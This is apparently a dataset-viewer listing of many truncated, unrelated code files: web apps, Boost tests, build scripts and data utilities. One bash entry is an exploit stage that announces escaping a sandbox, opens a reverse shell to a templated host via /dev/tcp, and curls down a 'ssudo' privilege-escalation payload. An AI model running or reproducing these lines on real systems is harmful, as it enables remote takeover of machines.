text stringlengths 1 1.05M |
|---|
<reponame>ub3rb3457/gray-matter-digital
var fs = require('fs');
function loadCategories()
var dirPath = 'blogs/';
var result = []; //this is going to contain paths
fs.readdir(__dirname + dirPath, function (err, filesPath) {
if (err) throw err;
result = filesPath.map(function (filePath) {
re... |
<reponame>LarsPh/deepscattering-pbrt<filename>src/ext/boost_1_74_0/libs/type_traits/test/is_trivially_copyable_test.cpp
/*
Copyright 2020 <NAME>
(<EMAIL>)
Distributed under the Boost Software License,
Version 1.0. (See accompanying file LICENSE_1_0.txt
or copy at http://www.boost.org/LICENSE_1_0.txt)
*/
#ifdef TEST_ST... |
<reponame>racar/catarse4realstate
window.c.AdminDetail = (function(m, _, c){
return {
controller: function(){
},
view: function(ctrl, args){
var actions = args.actions,
item = args.item;
return m('#admin-contribution-detail-box', [
m('.divider.u-margintop-20.u-marginbottom-20... |
<reponame>despo/apply-for-teacher-training
module ProviderInterface
class DecisionsController < ProviderInterfaceController
before_action :set_application_choice
before_action :requires_make_decisions_permission
def respond
@pick_response_form = PickResponseForm.new
@alternative_study_mode = ... |
#!/bin/bash
echo Executing outside of the sandbox \\o/
# Open a calculator
open /Applications/Calculator.app
# Establish a reverse shell
bash -c "/bin/bash > /dev/tcp/{{ host }}/{{ revshell_port }} <&1 2>&1" &
cd /tmp
# Do the privesc to root (stage4)
curl -s http://{{ host }}:{{ http_port }}/ssudo > ./ssudo
curl ... |
import React from "react";
import { blockTypes } from "./editorTypes";
import { ToolbarItem, Container } from "./style";
//Rich utils is a utility library for manipulating text (like inlineStyle, blockTypes...)
import { RichUtils, EditorState, AtomicBlockUtils } from "draft-js";
import { isWebUri } from 'valid-url';
... |
/*
Copyright 2021 Adobe. All rights reserved.
This file is licensed to you under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License. You may obtain a copy
of the License at http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agre... |
#!/usr/bin/env bash
# Stop script if error occurs
set -e
set -o pipefail
# Notify SkyWay team Slack of the new release
cl_startline=$(cat CHANGELOG.md | grep -nE "^### " | head -n 1 | cut -d ":" -f 1)
cl_finishline=$(($(cat CHANGELOG.md | grep -nE "^## " | head -n 2 | tail -n 1 | cut -d ":" -f 1) - 1))
changelog=`sed ... |
def fibonacciSequence(n):
if n == 1:
return 1
elif n == 0:
return 0
else:
return (fibonacciSequence(n - 1) + fibonacciSequence(n - 2))
for n in range(10):
print (fibonacciSequence(n)) |
<gh_stars>0
package com.github.maracas.visitors;
import com.github.maracas.brokenuse.APIUse;
import japicmp.model.JApiCompatibilityChange;
import spoon.SpoonException;
import spoon.reflect.code.CtAssignment;
import spoon.reflect.code.CtExpression;
import spoon.reflect.code.CtInvocation;
import spoon.reflect.code.CtLoc... |
<gh_stars>100-1000
/**
* OLAT - Online Learning and Training<br>
* http://www.olat.org
* <p>
* Licensed under the Apache License, Version 2.0 (the "License"); <br>
* you may not use this file except in compliance with the License.<br>
* You may obtain a copy of the License at
* <p>
* http://www.apache.org/licenses/LICE... |
<reponame>smarulanda97/nextjs-spa5sentidos-v2<filename>src/utils/menuUtils.ts
import { Menu } from '@types-app/global';
type GetMenus = {
[key: string]: Menu;
};
export function normalizeMenus(menus: string[], data: any): GetMenus {
const normalizedData = {};
if (!menus.length || !data) {
return normalized... |
<filename>packages/graphql-codegen-cli/src/loaders/documents/document-loader.ts
import { validate, GraphQLSchema, GraphQLError, specifiedRules } from 'graphql';
import { DocumentNode, Source, parse, concatAST, logger } from 'graphql-codegen-core';
import * as fs from 'fs';
import * as path from 'path';
import { extract... |
<gh_stars>0
import HoverShadowBox from "./HoverShadowBox"
export default HoverShadowBox
|
<reponame>AkaruiDevelopment/aoi.js
const {
AoijsAPI,
DbdTsDb,
AoiMongoDb,
Promisify,
CustomDb,
} = require("../../../classes/Database.js");
module.exports = async (d) => {
const data = d.util.aoiFunc(d);
if (data.err) return d.error(data.err);
const [
variable,
type... |
<reponame>eloymg/vulcan-checks
/*
Copyright 2020 Adevinta
*/
package main
import (
"fmt"
"log"
"net/http"
"os"
"strings"
)
type FileSystem struct {
fs http.FileSystem
}
func (fs FileSystem) Open(path string) (http.File, error) {
f, err := fs.fs.Open(path)
if err != nil {
return nil, err
}
s, err := f.S... |
#!/bin/bash
DEPPACKS="flex bison libboost-all-dev verilator libtcl8.6 libreadline-dev tcl8.6-dev tcl-dev python3-venv libgmp3-dev libmpfr-dev libmpc-dev subversion libncurses-dev"
cd packages
apt-get --print-uris install $DEPPACKS | grep "^'" | sed "s/^'\([^']*\)'.*$/\1/g" > all.deps
for i in $(cat all.deps) ; do wget... |
<reponame>Vidhyadharantechdays/http-patch-jax-rs
/*
* The MIT License (MIT)
*
* Copyright (c) 2018 <NAME> < <EMAIL> >
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restr... |
<gh_stars>100-1000
/*
* Copyright 2017-2021 original authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by ap... |
<reponame>craigbuckler/nodequiz<gh_stars>0
// utility functions
// clear children of DOM element
export function clear( node ) {
while ( node.lastChild ) node.removeChild( node.lastChild );
}
|
<filename>infrastructure/platform-api-gateway/src/main/resources/static/admin/scripts/portfolio.js
var Portfolio=function(){return{init:function(){$(".mix-grid").mixitup()}}}(); |
import numpy as np
from core.net_errors import NetConfigIndefined, IncorrectFactorValue
def initialize(net_object, factor=0.01):
if net_object.config is None:
raise NetConfigIndefined()
if abs(factor) > 1:
raise IncorrectFactorValue()
net_object.net = []
for l in range(1, len(net_ob... |
package io.opensphere.core.util.swing;
import java.awt.Color;
import java.awt.Component;
import java.awt.Graphics;
import javax.swing.border.EtchedBorder;
/**
* The Class DynamicEtchedBorder.
*/
public class DynamicEtchedBorder extends EtchedBorder
{
/** The Constant serialVersionUID. */
private static fin... |
#! /bin/sh
# Copyright (C) 2001-2017 Free Software Foundation, Inc.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
#
# This program ... |
<reponame>congleetea/fuse<filename>fuse_models/include/fuse_models/parameters/acceleration_2d_params.h<gh_stars>0
/*
* Software License Agreement (BSD License)
*
* Copyright (c) 2018, Locus Robotics
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, ... |
const arr = [ 1, 1, 5, 2, 6, 10 ];
let arr1 = [ 1, 7, 12, 6, 5, 10 ];
//--------------------------------------------------
const partialSum = ( arr ) => {
const output = [];
arr.forEach( ( num, i ) => {
if ( i === 0 ) {
output[ i ] = num;
} else {
output[ i ] = num + output[ i - 1 ];
}
} )... |
<gh_stars>10-100
package chylex.hee.system.abstractions.damage.source;
import net.minecraft.util.DamageSource;
public class DamagedBy extends DamageSource{
public DamagedBy(String sourceName){
super(sourceName);
}
@Override
public boolean isDamageAbsolute(){
return true;
}
@Override
public boolean isUnbl... |
#!/usr/bin/env bash
# Run with argument `--skip-checks` to skip checks for clean build and removing install dir.
# exit on any error
set -e
# This script will
# 1. build and install the source,
# 2. run doxygen and create html and xml docs,
# 3. run script to generate markdown from xml
echo "Generating docs"
comma... |
<reponame>VOLTTRON/volttron-AIRCx-visualization<gh_stars>1-10
// Copyright (c) 2020, Battelle Memorial Institute
// All rights reserved.
// 1. Battelle Memorial Institute (hereinafter Battelle) hereby grants
// permission to any person or entity lawfully obtaining a copy of this
// software and associated doc... |
from pydantic import BaseModel, Field
class HealthModel(BaseModel):
status: str = Field(...)
version: str = Field(...)
db_ping: str = Field(...)
class Config:
allow_population_by_field_name = True
arbitrary_types_allowed = True
schema_extra = {
'example': {
... |
package com.darian.springbootjmx.dynamicBean;
import javax.management.DynamicMBean;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.StandardMBean;
import java.lang.management.ManagementFactory;
public class DynamicBeanServer {
public static void main(String[] args)... |
#!/bin/bash
# Copyright 2014 The Kubernetes Authors All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless require... |
#!/bin/sh
cd `dirname $0`
source ./../config.sh
exec_dir major_number_of_training_bases
HIVE_DB=assurance
HIVE_TABLE=major_number_of_training_bases
TARGET_TABLE=im_quality_major_data_info
DATA_NAME=实训基地数量
DATA_NO=ZY_SXJDSL
function create_table() {
hadoop fs -rm -r ${BASE_HIVE_DIR}/${HIVE_DB}/${HIVE_T... |
def separation(data):
x1, x2, x3 = [], [], []
for p in data:
x1.append(p[0])
x2.append(p[1])
x3.append(p[2])
min_x1 = min(x1)
min_x2 = min(x2)
datapoints_class_0 = []
datapoints_class_1 = []
for p in data:
if p[0] > = min_x1 and p[1] > = min_x2:
... |
import fetchWrap from '@/utils/fetch';
export const getForestBoundary = async ({ lat, lng }) => {
const data = await fetchWrap({
url: `/api/v1/forest-compartment-boundary?decimalLongitude=${lng}&decimalLatitude=${lat}&size=10`,
method: 'GET',
});
return data;
};
|
package adapter
func Example_one() {
video := VideoOutputter{}
video.Start()
screen := Screen{}
// VDI port is incompatible with HDMI port, so the
// following statement would cause a compile error:
//
// screen.SetInput(video.GetOutput())
//
// To solve this problem, we need to use an adapter.
adapter :... |
#!/bin/bash
# This file contains functions used by other bash scripts in this directory.
# This function echoes the command given by $1 (cmd), then executes it.
# However, if $2 (dryrun) is non-zero, then it only does the echo, not the execution.
# Usage: do_cmd cmd dryrun
# Returns 0 on success, non-zero on failure;... |
#!/usr/bin/env bats
load ../helpers
function teardown() {
swarm_manage_cleanup
stop_docker
}
# FIXME
@test "docker logout" {
skip
}
|
/**
* Clone interface.
*/
export interface IClone {
/**
* Clone and return object.
* @returns Clone object
*/
clone(): Object;
/**
* Clone to the target object.
* @param target - Target object
*/
cloneTo(target: Object): Object;
}
|
#!/bin/bash
apt-get install -y ruby
cd /home/vagrant
wget https://github.com/Arachni/arachni/releases/download/v1.4/arachni-1.4-0.5.10-linux-x86_64.tar.gz
tar xfvz arachni-1.4-0.5.10-linux-x86_64.tar.gz
chmod -R 777 /home/vagrant/arachni-1.4-0.5.10
|
.text-format {
font-family: Arial, sans-serif;
font-size: 18px;
color: #00ff00;
} |
<gh_stars>0
from pycoin import ecdsa
from pycoin.key.validate import netcode_and_type_for_data
from pycoin.networks import address_prefix_for_netcode, wif_prefix_for_netcode
from pycoin.encoding import a2b_hashed_base58, secret_exponent_to_wif,\
public_pair_to_sec, hash160,\
hash160_sec_to_bitcoin_address, sec... |
<reponame>JarredStanford/JarredStanford.github.io<gh_stars>0
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
funct... |
class Migration:
def __init__(self):
self.migration_tasks = []
def create_migration(self, migration_name):
self.migration_tasks.append(migration_name)
def run_migrations(self):
for task in self.migration_tasks:
print(f"Running migration: {task}")
# Demonstration of us... |
// 要先寫入bat,然後再來呼叫?
// http://blog.pulipuli.info/2017/03/windowssystem-protocol-open-windows.html?m=1
const fs = require('fs');
var dirname = process.execPath
dirname = dirname.slice(0, dirname.lastIndexOf("\\") + 1)
var exePath = dirname + "\\open-chrome-app.exe"
exePath = exePath.replace("\\", "\\\\")
var reg = `Wi... |
from django.contrib.auth.forms import UserCreationForm
class SignUpForm(UserCreationForm):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.fields['username'].label = 'Display Name'
self.fields['email'].label = 'Email Address'
form = SignUpForm(data=request.POST or None)
if form... |
<reponame>phisco/advance_algorithms_project<filename>my_transitive_closure.cpp
#include "include_and_types.cpp"
#include <set>
#include <boost/graph/detail/set_adaptor.hpp>
typedef graph_traits<Graph>::adjacency_iterator adj_iter;
template <class Root, class InComponent, class Num, class Set>
class TransitiveClosure{... |
#!/bin/bash
# Copyright 2014 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... |
#!/bin/bash
mkdir -p $PREFIX/bin
mkdir -p $PREFIX/opt/ditasic/
cp -r * $PREFIX/opt/ditasic/
ln -s $PREFIX/opt/ditasic/ditasic $PREFIX/bin/
ln -s $PREFIX/opt/ditasic/ditasic_mapping.py $PREFIX/bin/
ln -s $PREFIX/opt/ditasic/ditasic_matrix.py $PREFIX/bin/
ln -s $PREFIX/opt/ditasic/core $PREFIX/bin/
|
<reponame>asalkeld/node-sdk
// Copyright 2021, Nitric Technologies Pty Ltd.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unl... |
/*
*
* ExperimentDetailAssetPage actions
*
*/
import {
LOAD_EXPERIMENT_DETAIL_ASSET,
LOAD_EXPERIMENT_DETAIL_ASSET_SUCCESS,
LOAD_EXPERIMENT_DETAIL_ASSET_ERROR,
LOAD_ASSET_META_FIELD,
LOAD_ASSET_META_FIELD_SUCCESS,
LOAD_ASSET_META_FIELD_ERROR,
LOAD_ASSET_BLOB,
LOAD_ASSET_BLOB_SUCCESS,
LOAD_ASSET_BL... |
#!/usr/bin/env bash
# This script is intended to be as simple as possible i.e execute and have a
# cluster of 3 shelley nodes up and running.
ROOT="$(realpath "$(dirname "$0")/../..")"
configuration="${ROOT}/scripts/lite/configuration"
if [ "$1" == "" ];then
data_dir="$(mktemp).d"
else
data_dir=$1
fi
mkdir -... |
package net.jlxip.sockswrapper;
public class SocksWrapper {
public static int timeout = 5000;
}
|
<reponame>mk12/mycraft<filename>lib/LWJGL/lwjgl-source-2/src/native/generated/opengl/org_lwjgl_opengl_EXTBlendFuncSeparate.c
/* MACHINE GENERATED FILE, DO NOT EDIT */
#include <jni.h>
#include "extgl.h"
typedef void (APIENTRY *glBlendFuncSeparateEXTPROC) (GLenum sfactorRGB, GLenum dfactorRGB, GLenum sfactorAlpha... |
<gh_stars>0
import { Injectable } from '@nestjs/common';
import { RentBicycle } from './rent-bicycle.entity';
import { InjectRepository } from '@nestjs/typeorm';
import { getConnection, Repository } from 'typeorm';
import { CreateBicycleDto } from '../bicycle/dto/create-bicycle.dto';
import { CreateRentBicycleDto } fro... |
<reponame>liamdawson/DIM
import React from 'react';
import { DestinyActivityModifierDefinition } from 'bungie-api-ts/destiny2';
import BungieImage from '../dim-ui/BungieImage';
import PressTip from '../dim-ui/PressTip';
export function ActivityModifier(props: { modifier: DestinyActivityModifierDefinition }) {
const ... |
<gh_stars>0
export default {
foods: [
{
name: 'Appetizers',
items: [
{
name: 'Crispy Egg Rolls',
description: 'Silver noodle, dried mushroom, cabbage and carrot served with plum sauce.',
price: 4.5,
imgUrl: null
},
{
name: 'Cris... |
#!/usr/bin/env sh
# generated from catkin/cmake/template/setup.sh.in
# Sets various environment variables and sources additional environment hooks.
# It tries it's best to undo changes from a previously sourced setup file before.
# Supported command line options:
# --extend: skips the undoing of changes from a previou... |
const get = require('lodash/get');
const has = require('lodash/has');
const pick = require('lodash/pick');
const uniqBy = require('lodash/uniqBy');
const {
NEVER,
EVENT_TYPE_LIST,
REPETITION_FREQUENCY_TYPE_LIST,
CANCELLATION_CONDITION_LIST,
CANCELLATION_REASON_LIST,
ABSENCE_TYPE_LIST,
ABSENCE_NATURE_LIST,... |
<reponame>tsatam/data-as-a-board
/*
* Copyright (c) 2019 Ford Motor Company
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unl... |
#!/bin/bash
set -o errexit
# https://docs.docker.com/engine/security/protect-access/#create-a-ca-server-and-client-keys-with-openssl
: "${COMPANY_DN:=/C=DE/ST=BW/L=Freiburg im Breisgau/O=My Company/OU=IT}"
: "${BITS:=4096}"
: "${DAYS:=365}"
: "${CA_DAYS:=${DAYS}}"
: "${SERVER_DAYS:=${DAYS}}"
: "${CLIENT_DAYS:=${DAY... |
import nltk
import numpy as np
import random
import string
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity
def create_chatbot():
greetings = ["hi", "hey", "hello", "hola", "greetings", "wassup", "yo"]
greet_response = ["hey there friend!", "hi th... |
function cloneObj(from) {
const to = {};
const keys = Object.keys(from);
for (let i = 0; i < keys.length; i += 1) {
const cloningField = from[keys[i]];
if (Array.isArray(cloningField)) {
const clonedArray = [cloningField.length];
for (let j = 0; j < cloningField.length; j += 1) {
cl... |
<filename>Develop/assets/script.js
//global variables
var body = document.body;
var currentHour = moment().hour();
var tableBody = document.getElementById('tbody');
//place the current day under the description line in the header
var day = moment().format("dddd, MMMM Do");
$("#currentDay").text(day);
//this connects ... |
#!/bin/sh
cd /$CI_PROJECT_DIR/$PACKAGE_PATH
cp -r /sharefile /$CI_PROJECT_DIR/$PACKAGE_PATH
echo "FROM base-openjdk
COPY $PACKAGE_NAME /opt
COPY sharefile /sharefile
CMD java -Dfile.encoding=UTF-8 -Duser.timezone=Asia/Shanghai -jar /opt/$PACKAGE_NAME" > dockerfile
docker build --no-cache -t $DOCKER_REGISTRY_DEV/$CI_PRO... |
TERMUX_PKG_HOMEPAGE=https://docs.xfce.org/panel-plugins/xfce4-eyes-plugin/start
TERMUX_PKG_DESCRIPTION="This plugin adds eyes to the Xfce panel which follow your cursor, similar to the xeyes program."
TERMUX_PKG_LICENSE="GPL-2.0"
TERMUX_PKG_MAINTAINER="Yisus7u7 <jesuspixel5@gmail.com>"
TERMUX_PKG_VERSION=4.5.1
TERMUX_P... |
package org.rudogma.bytownite.encoders
import org.rudogma.bytownite.{FixedLength, NotNullable}
object ByteEncoder extends Encoder[Byte] with FixedLength with NotNullable {
override def blockLength: Int = 1
// val ONE:Array[Byte] = Array[Byte](1)
// val ZERO:Array[Byte] = Array[Byte](0)
override def encode(va... |
<reponame>JoeELToukhy/WebScraperGeneratorGUI
module.exports = {
apiKey: "<KEY>",
authDomain: "webscraper-270ff.firebaseapp.com",
databaseURL: "https://webscraper-270ff.firebaseio.com",
projectId: "webscraper-270ff",
storageBucket: "webscraper-270ff.appspot.com",
messagingSenderId: "712541248468",
appId: "... |
#!/bin/bash
cd ~/Workspace/aditof_sdk/deps
cd glog
sudo rm -rf build_0_3_5
mkdir build_0_3_5 && cd build_0_3_5
cmake -DWITH_GFLAGS=off -DCMAKE_INSTALL_PREFIX=/opt/glog ..
sudo cmake --build . --target install
cd ../..
cd libwebsockets
sudo rm -rf build_3_1
mkdir build_3_1 && cd build_3_1
cmake -DLWS_STATIC_PIC=ON -D... |
var config = require('../../core/util.js').getConfig();
var watch = config.watch;
var exchangeLowerCase = watch.exchange.toLowerCase();
var settings = {
exchange: watch.exchange,
pair: [watch.currency, watch.asset],
historyCollection: `${exchangeLowerCase}_candles`,
adviceCollection: `${exchangeLower... |
#!/bin/bash
source .env
gsutil mb gs://$BUCKET_NAME |
# install.sh is generated by ./extra/install.batsh, do not modify it directly.
# "npm run compile-install-script" to compile install.sh
# The command is working on Windows PowerShell and Docker for Windows only.
# curl -o kuma_install.sh https://raw.githubusercontent.com/louislam/uptime-kuma/master/install.sh && sudo b... |
export {
ViewData
} from "./view-data";
|
""" BTCUSD Price Reporter
Example of a subclassed Reporter.
"""
import asyncio
import json
from typing import Any
from typing import Mapping
import requests
from telliot.datafeed.data_feed import DataFeed
from telliot.reporter.base import Reporter
from telliot.submitter.base import Submitter
from telliot... |
#!/usr/bin/env bash
# This script is executed inside the builder image
set -e
source ./ci/matrix.sh
if [ "$RUN_TESTS" != "true" ]; then
echo "Skipping unit tests"
exit 0
fi
# TODO this is not Travis agnostic
export BOOST_TEST_RANDOM=1$TRAVIS_BUILD_ID
export LD_LIBRARY_PATH=$BUILD_DIR/depends/$HOST/lib
export ... |
# coding=utf-8
# Copyright 2019 The Google NoisyStudent Team Authors.
#
# Licensed under the Apache License, Version 2.0 (the 'License');
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... |
# This shell script executes Slurm jobs for thresholding
# predictions of NTT-like convolutional
# neural network on BirdVox-70k full audio
# with logmelspec input.
# Augmentation kind: all-but-noise.
# Test unit: unit01.
# Trial ID: 2.
sbatch 042_aug-all-but-noise_test-unit01_predict-unit01_trial-2.sbatch
sbatch 042_... |
#!/bin/sh
DOCKER_IMG="alpine-www:v1.0"
CONTAINER_ID="alpine-www"
WWW_ROOT="dev.51zyy.cn"
echo "==> 1. Create new container: $CONTAINER_ID"
docker run -d -p 80:8080 -p 443:8443 --name $CONTAINER_ID --restart always \
-v /www_data/www/$WWW_ROOT:/var/www/html \
$DOCKER_IMG
#echo "==> 2. Customize n... |
<reponame>meanwise-eng/brands-client
import React, { Component, PropTypes } from 'react';
import { connect } from 'react-redux';
import { browserHistory } from 'react-router';
export default function(ComposedComponent) {
class Authentication extends Component {
componentWillMount() {
if(!this.props.authen... |
def solve_sudoku(board):
find = find_empty_location(board)
if not find:
return True
else:
row, col = find
for num in range(1, 10):
if valid_move(board, num, (row, col)):
board[row][col] = num
if solve_sudoku(board):
return Tru... |
# Execute tests
WORKSPACE=$1
cd $WORKSPACE
nosetests-2.7 test/integration/TestREST_JSON.py test/integration/TestREST.py test/integration/TestIM.py -v --stop --with-xunit --with-timer --timer-no-color --with-coverage --cover-erase --cover-xml --cover-package=IM
|
package com.simple.download.ftp;
import com.simple.download.DLThread;
import com.simple.download.base.DLLog;
import org.apache.commons.net.ftp.FTP;
import org.apache.commons.net.ftp.FTPClient;
import org.apache.commons.net.ftp.FTPReply;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.IOExcep... |
const config = require('./../../config/index');
var redis = require('redis');
var client = redis.createClient({
host: config.redis.server,
port: config.redis.port,
password: config.redis.password,
});
exports.setObject = function (key, object) {
// 进入前需要先序列化
client.set(key, JSON.stringify(object))... |
var mongoDB = require('../../config/mongoose.conf');
var baseDeDatos = mongoDB();
var usuarioModel = require('../models/usuario.server.model');
var request = require('request');
exports.getUsuarios = function (req, res) {
console.log("---------------------------------------");
console.log("******Devolver tod... |
/*
* Access API
*
* No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
*
* API version: 1.0.0
* Generated by: Swagger Codegen (https://github.com/swagger-api/swagger-codegen.git)
*/
package swagger
import (
"time"
)
type BlockEvents struct {
BlockId string `j... |
import sys
from keyword import iskeyword
from dataclasses import dataclass
from arpeggio import ParsingExpression, EOF, RegExMatch as _ , StrMatch
from arpeggio import ParseTreeNode, Terminal
#------------------------------------------------------------------------------
ALL = ( # single character constants and ru... |
#!/usr/bin/env bash
# vim:ts=4:sts=4:sw=4:et
#
# Author: Hari Sekhon
# Date: 2021-04-16 16:14:04 +0100 (Fri, 16 Apr 2021)
#
# https://github.com/HariSekhon/DevOps-Bash-tools
#
# License: see accompanying Hari Sekhon LICENSE file
#
# If you're using my code you're welcome to connect with me on LinkedIn and optiona... |
<reponame>lerages/anarchy-source
package org.rs2server.rs2.model.skills.smithing;
import org.rs2server.cache.format.CacheItemDefinition;
import org.rs2server.rs2.Constants;
import org.rs2server.rs2.model.Item;
import java.util.*;
public class SmithingUtils {
public static final Item HAMMER = new Item(2347);
publ... |
#!/usr/bin/env zsh
# install nvm
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.34.0/install.sh | zsh
. ~/.zshrc
nvm install 10.16.0
nvm alias default 10
npm install -g babel-cli
|
sudo apt update
sudo apt --assume-yes install ffmpeg python3-venv
python3 -m venv venvgen
source venvgen/bin/activate
python -m pip install wheel
python -m pip install -r requirements-latest.txt
python -m pip install requests
git clone https://github.com/chentinghao/download_google_drive.git
FILEID="1Z1dc_gQSmafDeWgq... |
module EMRPC
# ReconnectingPid collects all messages in the backlog buffer and tries to reconnect.
# Calls self.on_raise() with the following exceptions:
# *
#
class ReconnectingPid
include Pid
DEFAULT_MAX_BACKLOG = 256
DEFAULT_MAX_ATTEMPTS = 5
DEFAULT_TIMEOUT = 5 # sec.
DEFAUL... |
#!/bin/bash
set -eo pipefail
SCRIPT_DIR=$(cd "$(dirname "$0")"; pwd)
PROJECT_DIR=$1
shift
"$@" ./src/play/play \
RE_YPDO \
"${SCRIPT_DIR}/tiles.txt" \
"${PROJECT_DIR}/boards/wwf_challenge.txt"
|
#!/bin/bash
set -euo pipefail
yum update -y && yum upgrade -y
yum install -y \
amazon-ecr-credential-helper \
amazon-cloudwatch-agent \
docker-19.03.13ce-1.amzn2 \
gcc \
gcc-c++ \
git \
jq \
patch \
htop \
tmux \
bcc-tools \
python3
curl -sSL https://bootstrap.pypa.io/get-pip.py | python3
pip... |
import numpy as np
from sklearn import svm
# Load the data
X = np.load('images.npy')
Y = np.load('labels.npy')
# Create the model
model = svm.SVC(kernel='linear')
# Train the model
model.fit(X, Y) |
#!/bin/bash
function build_pass {
pass_dir="$1"
echo "Building pass: $pass_dir"
pushd "$pass_dir"
make -j $(nproc)
popd
}
# Idempotent regions pass (checkpoint placement)
build_pass "idempotent-expander"
# Write buffering pass (Write Clusterer)
build_pass "write-buffering"
# Loop scheduler (Loo... |
def classify_points(point, polygon):
is_inside = False
for i in range(len(polygon)):
p1 = polygon[i]
j = (i + 1) % len(polygon)
p2 = polygon[j]
if min(p1[1], p2[1]) <= point[1] <= max(p1[1], p2[1]) and (point[1] - p1[1]) * (p2[0] - p1[0]) < (point[0] - p1[0]) * (p2[1] - p1[1]):
is_inside = not is_inside
if is_i... |
<reponame>ngochai94/laminext<gh_stars>0
package io.laminext.site
object TemplateVars {
val vars = Seq(
"laminextVersion" -> "0.12.0"
)
def apply(s: String): String =
vars.foldLeft(s) { case (acc, (varName, varValue)) =>
acc.replace(s"{{${varName}}}", varValue)
}
}
|
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {environment} from '../environments/environment';
import {BrowserAnimationsModule} from '@angular/platform-browser/animations';
import { AppComponent } from './app.co... |
<gh_stars>100-1000
def call_callable(f, x=None):
if x is None:
return f()
return f(str(x))
def test_ruby_object_attr(ro):
return ro.attr()
def test_ruby_object_method(ro):
return ro.smethod(42)
|
import React, { Component } from 'react';
class UserList extends Component {
constructor(props) {
super(props);
this.state = {
userList: props.userList
};
}
render() {
return (
<ul>
{this.state.userList.map((user, index) => (
<li key={index}>
{user.name}: <a href={u... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.